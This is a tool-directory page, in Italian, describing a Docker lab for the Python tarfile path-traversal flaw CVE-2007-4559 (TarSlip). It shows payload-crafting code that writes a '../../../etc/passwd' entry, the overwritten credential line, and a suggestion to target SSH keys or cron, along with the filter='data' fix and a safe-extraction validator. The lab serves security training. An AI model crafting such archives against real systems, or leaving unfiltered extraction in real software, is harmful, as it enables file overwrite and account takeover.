Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2007-4559-lab — Lab Docker autonomo che dimostra la directory traversal CVE-2007-4559 (TarSlip) tramite il modulo tarfile di Python. Include API vulnerabili e corrette, generazione del payload e uno script demo interattivo per la formazione sulla sicurezza. | Kitploit
Strumenti/GitHubGitHub/jithinodattu/cve-2007-4559-lab
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceSfruttamento di Applicazioni WebCTFSicurezza della Supply ChainApprendimento e FormazioneBinary ExploitationLab e Pratica
GitHubjithinodattu/cve-2007-4559-lab

CVE-2007-4559-lab

Lab Docker autonomo che dimostra la directory traversal CVE-2007-4559 (TarSlip) tramite il modulo tarfile di Python. Include API vulnerabili e corrette, generazione del payload e uno script demo interattivo per la formazione sulla sicurezza.

Vedi Repository
74 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2007-4559 — TarSlip: L'attraversamento delle directory di 15 anni

Solo a scopo educativo. Questo laboratorio sfrutta intenzionalmente vulnerabilità del filesystem all'interno di container Docker isolati. Non eseguirlo su sistemi con dati sensibili o in ambienti di produzione.

Un laboratorio Docker autonomo che dimostra CVE-2007-4559 — la famigerata vulnerabilità "TarSlip" nel modulo tarfile di Python — attraverso una catena di attacco concreta e completa:

  1. Un aggressore carica un tarball appositamente creato su un'API di upload di file.
  2. extractall() scrive ciecamente una voce tar denominata ../../../etc/passwd al di fuori della directory di estrazione, sovrascrivendo il file di sistema reale.
  3. La password inserita concede all'aggressore l'accesso a un endpoint /admin protetto.
  4. Lo stesso attacco viene poi eseguito contro un'API corretta — e bloccato con una singola riga di codice.

La vulnerabilità

tarfile.extractall() di Python riproduce fedelmente ogni voce in un archivio tar, incluse quelle i cui nomi contengono sequenze di path traversal.

../
Non è mai stato progettato per essere un confine di sicurezza.
root@kitploit:~
nome voce tar    : ../../../etc/passwd
dir estrazione   : /shared/uploads/a1b2c3d4/

percorso risolto : /shared/uploads/a1b2c3d4/../../../etc/passwd
                 = /etc/passwd   ← file di sistema sovrascritto
Cronologia
2007Bug segnalato al team di sicurezza di Python
2007 – 2022Marchiato "non un problema di sicurezza" — tarfile "funziona come previsto"
2022Ricercatori Trellix scansionano GitHub e trovano oltre 350.000 repository che chiamano extractall() su input non fidati
2022Divulgazione pubblica. CVE-2007-4559 riemerge. Corsa a livello di settore.
2023PEP 706 introduce filter='data' in Python 3.12 — la correzione è un singolo argomento

Cosa mostra la demo

La demo si svolge in tre battute, ciascuna richiede la pressione di un tasto per proseguire.

Battuta 1 — Baseline

  • GET /admin → 401. L'endpoint admin esiste ed è protetto. L'aggressore non conosce la password.
  • Carica innocent.tar.gz → i file finiscono all'interno della directory sandbox. Tutto sembra normale.

Battuta 2 — L'Exploit

root@kitploit:~
L'aggressore crea tarslip_passwd.tar.gz
  └─ voce: "../../../etc/passwd"
       contenuto: admin:hacked:1001:...   ← password inserita
            │
            ▼
  POST /upload  (caricamento file multipart)
            │
            ▼
  extractall("/shared/uploads/{uuid}/")
  risolve "../../../etc/passwd" → /etc/passwd   ← CVE-2007-4559
            │
            ▼
  GET /admin   Authorization: Basic admin:hacked
            │
            ▼
  HTTP 200 — "Benvenuto, admin! Hai accesso completo da amministratore."
  flag: CVE-2007-4559{tarslip_passwd_overwrite_to_admin_rce}

Una sola richiesta HTTP POST. Nessuna shell. Nessun payload RCE. Solo un file tar.

Battuta 3 — La Correzione

Lo stesso tarball viene caricato sull'API corretta, che passa filter='data' a extractall(). Python solleva tarfile.OutsideDestinationError — il traversal è bloccato, /etc/passwd rimane intatto e /admin resta bloccato.

root@kitploit:~
# Vulnerabile — predefinito prima di Python 3.14
tar.extractall(extraction_dir)

# Corretto — PEP 706 (Python 3.12+)
tar.extractall(extraction_dir, filter='data')

Un argomento. Quindici anni per essere distribuito.


Architettura

Quattro servizi su una rete bridge Docker isolata (tarslip-net). Niente raggiunge internet.

root@kitploit:~
┌─────────────────────────────────────────────────────────┐
│                    tarslip-net (bridge)                  │
│                                                          │
│  ┌─────────────────┐      ┌──────────────────────────┐  │
│  │  vulnerable-api │      │       file-server        │  │
│  │  python:3.11.3  │      │       nginx:alpine       │  │
│  │  porta 8000     │      │       porta 8080 (host)  │  │
│  │                 │      │                          │  │
│  │  POST /upload   │      │  Serve /shared tramite   │  │
│  │  GET  /admin    │      │  HTTP — sfoglia estratti │  │
│  │  GET  /health   │      │  visivamente             │  │
│  └────────┬────────┘      └────────────┬─────────────┘  │
│           │  volume condiviso storage   │                 │
│           └────────────────────────────┘                 │
│                                                          │
│  ┌─────────────────┐                                     │
│  │    attacker     │                                     │
│  │  python:3.12    │  (nessuna porta host — solo interno)│
│  │                 │                                     │
│  │  craft_malicious.py  — genera tarball                 │
│  │  demo.py             — guida la demo                  │
│  └─────────────────┘                                     │
└─────────────────────────────────────────────────────────┘
ServizioImmagineRuoloPorta host
vulnerable-apipython:3.11.3-slimAPI Flask di upload + /admin protetto da auth /etc/passwd8000
fixed-apipython:3.12-slimStesso codice + USE_SAFE_EXTRACTION=true8000
file-servernginx:alpineElenco directory dei file estratti8080
attackerpython:3.12-slimGeneratore payload + driver demo—

Le API vulnerabile e corretta usano codice sorgente identico. L'unica differenza è la variabile d'ambiente USE_SAFE_EXTRACTION=true sul container corretto, che attiva il singolo argomento filter='data'.


Struttura del repository

root@kitploit:~
CVE-2007-4559-lab/
├── run_demo.sh                      ← start here
├── docker-compose.vulnerable.yml
├── docker-compose.fixed.yml
├── vulnerable-api/
│   ├── app.py                       # Flask API: /upload + /admin + /health
│   ├── Dockerfile                   # seeds admin:s3cr3t_Adm1nPass into /etc/passwd
│   └── requirements.txt
├── file-server/
│   ├── Dockerfile
│   └── nginx.conf
└── attacker/
    ├── craft_malicious.py           # generates innocent.tar.gz + tarslip_passwd.tar.gz
    ├── demo.py                      # four-mode CLI driver (craft/baseline/exploit/verify)
    ├── Dockerfile
    └── requirements.txt

Prerequisiti

  • Docker 20.10+ con il plugin Compose (docker compose version)
  • macOS / Linux — lo script shell usa bash
  • Porte 8000 e 8080 libere sul tuo host

Esecuzione della demo

root@kitploit:~
git clone https://github.com/your-username/CVE-2007-4559-lab.git
cd CVE-2007-4559-lab
bash run_demo.sh

Lo script è completamente interattivo. Stampa una narrazione prima di ogni passaggio e attende Invio per proseguire. Non è necessaria alcuna conoscenza pregressa di Docker per seguire.

Cosa copre ogni punto di pausa

PausaNarrazione mostrataAzione su Invio
1Cronologia CVE, cosa sono le tre battuteBuild dello stack vulnerabile
2Ruoli dei container, password admin preimpostataGenerazione payload
3Contenuto di ogni tarballBattuta 1 — baseline
4Perché /admin è 401, aspetto dell'estrazione normaleBattuta 2 — exploit
5Il calcolo esatto del traversal, cosa viene sovrascrittoPassaggio allo stack corretto
6Cosa fa filter='data' e perché funzionaBattuta 3 — verifica
7Punti chiave + pattern ZipSlip più ampioTeardown

Esecuzione individuale delle battute

Se vuoi procedere manualmente:

root@kitploit:~
# Stack vulnerabile
docker compose -f docker-compose.vulnerable.yml up --build -d
docker compose -f docker-compose.vulnerable.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py baseline
docker compose -f docker-compose.vulnerable.yml exec attacker python demo.py exploit

# Stack corretto
docker compose -f docker-compose.vulnerable.yml down
docker compose -f docker-compose.fixed.yml up --build -d
docker compose -f docker-compose.fixed.yml exec attacker python craft_malicious.py
docker compose -f docker-compose.fixed.yml exec attacker python demo.py verify

# Teardown
docker compose -f docker-compose.fixed.yml down

Ispezione visiva

Mentre lo stack vulnerabile è in esecuzione, apri http://localhost:8080/uploads/ per sfogliare le directory di sessione estratte nel tuo browser.


Come funziona l'endpoint /admin

L'API inserisce una password admin segreta in /etc/passwd al momento della build dell'immagine:

root@kitploit:~
admin:s3cr3t_Adm1nPass:1001:1001:Administrator:/home/admin:/bin/bash

GET /admin legge questo file e verifica il secondo campo (password) rispetto alle credenziali HTTP Basic Auth. L'aggressore non conosce s3cr3t_Adm1nPass — ma dopo che TarSlip sovrascrive il file con la propria versione contenente admin:hacked, la conosce.

Questo è un modello semplificato di obiettivi reali: authorized_keys di SSH, file di configurazione delle applicazioni, cron job e qualsiasi file di credenziali che il processo web può scrivere.


Come vengono creati i payload

craft_malicious.py usa il modulo tarfile di Python — lo stesso che ha il bug:

root@kitploit:~
def _add_entry(tar, name, content):
    info = tarfile.TarInfo(name=name)   # name è il percorso di traversal
    info.size = len(content)
    tar.addfile(info, io.BytesIO(content))

# Il nome della voce risolve in /etc/passwd quando estratto in /shared/uploads/{uuid}/
_add_entry(tar, "../../../etc/passwd", malicious_passwd_content)

Nessuno strumento speciale. Nessuno sfruttamento binario. La libreria standard è sia l'arma che la vittima.


La correzione spiegata

Python 3.12 ha introdotto filter= in PEP 706. Il filtro 'data':

  • Rifiuta le voci che risolvono al di fuori della directory di destinazione
  • Rimuove i bit setuid/setgid
  • Ignora i file di dispositivo e i collegamenti fisici a percorsi non sicuri
  • Solleva tarfile.OutsideDestinationError sui tentativi di traversal
root@kitploit:~
# Prima (vulnerabile — ancora il default fino a Python 3.14)
with tarfile.open(path) as tar:
    tar.extractall(dest)

# Dopo (sicuro)
with tarfile.open(path) as tar:
    tar.extractall(dest, filter='data')

Per Python 3.11 e versioni precedenti, convalida manualmente:

root@kitploit:~
import os

def safe_extract(tar, dest):
    dest = os.path.realpath(dest)
    for member in tar.getmembers():
        member_path = os.path.realpath(os.path.join(dest, member.name))
        if not member_path.startswith(dest + os.sep):
            raise ValueError(f"Percorso non sicuro: {member.name}")
    tar.extractall(dest)

Analisi statica: la regola B202 di bandit segnala chiamate extractall() non sicure in CI.


Impatto più ampio — ZipSlip

TarSlip è il nome di Python per una classe di vulnerabilità che esiste in ogni linguaggio con API di estrazione archivi:

LinguaggioAPI VulnerabileCVE / Advisory
Pythontarfile.extractall()CVE-2007-4559
JavaZipInputStreamZipSlip (2018)
Goarchive/zipZipSlip (2018)
.NETZipArchiveZipSlip (2018)
Node.jstar, adm-zip, altriZipSlip (2018)

Stessa causa principale ovunque: fidarsi dei percorsi da archivi non fidati. Stessa correzione ovunque: canonicalizzare e convalidare prima di scrivere.


Varianti per pubblico

Pubblico sviluppatori

Concentrati sulla differenza di codice prima/dopo e sulla regola bandit B202. L'obiettivo è "come preveniamo questo nel nostro codebase?" — mostra la guida alla migrazione PEP 706 e come aggiungere il controllo al CI.

Pubblico sicurezza

Concentrati sulla metodologia di divulgazione Trellix — come hanno cercato su GitHub su larga scala, stimato l'impatto su oltre 350.000 repository e navigato la divulgazione responsabile per una vulnerabilità così diffusa.

Pubblico CTF

Estendi craft_malicious.py per inserire un file authorized_keys SSH o una voce cron dannosa invece di /etc/passwd. Stessa tecnica, obiettivi diversi — mostra che qualsiasi percorso scrivibile è una superficie d'attacco.


Riferimenti

  • NVD — CVE-2007-4559
  • PEP 706 — Filter for tarfile.extractall
  • Trellix — "15 Years Later: On the Dangers of Zip/Tar Slip"
  • Python issue tracker — bpo-21109 (il report originale del 2007)
  • Bandit B202
  • Snyk ZipSlip advisory

Licenza

MIT — usa liberamente per istruzione, ricerca sulla sicurezza e demo a conferenze. Non utilizzare le tecniche di generazione di payload contro sistemi che non possiedi.

Scarica lo strumento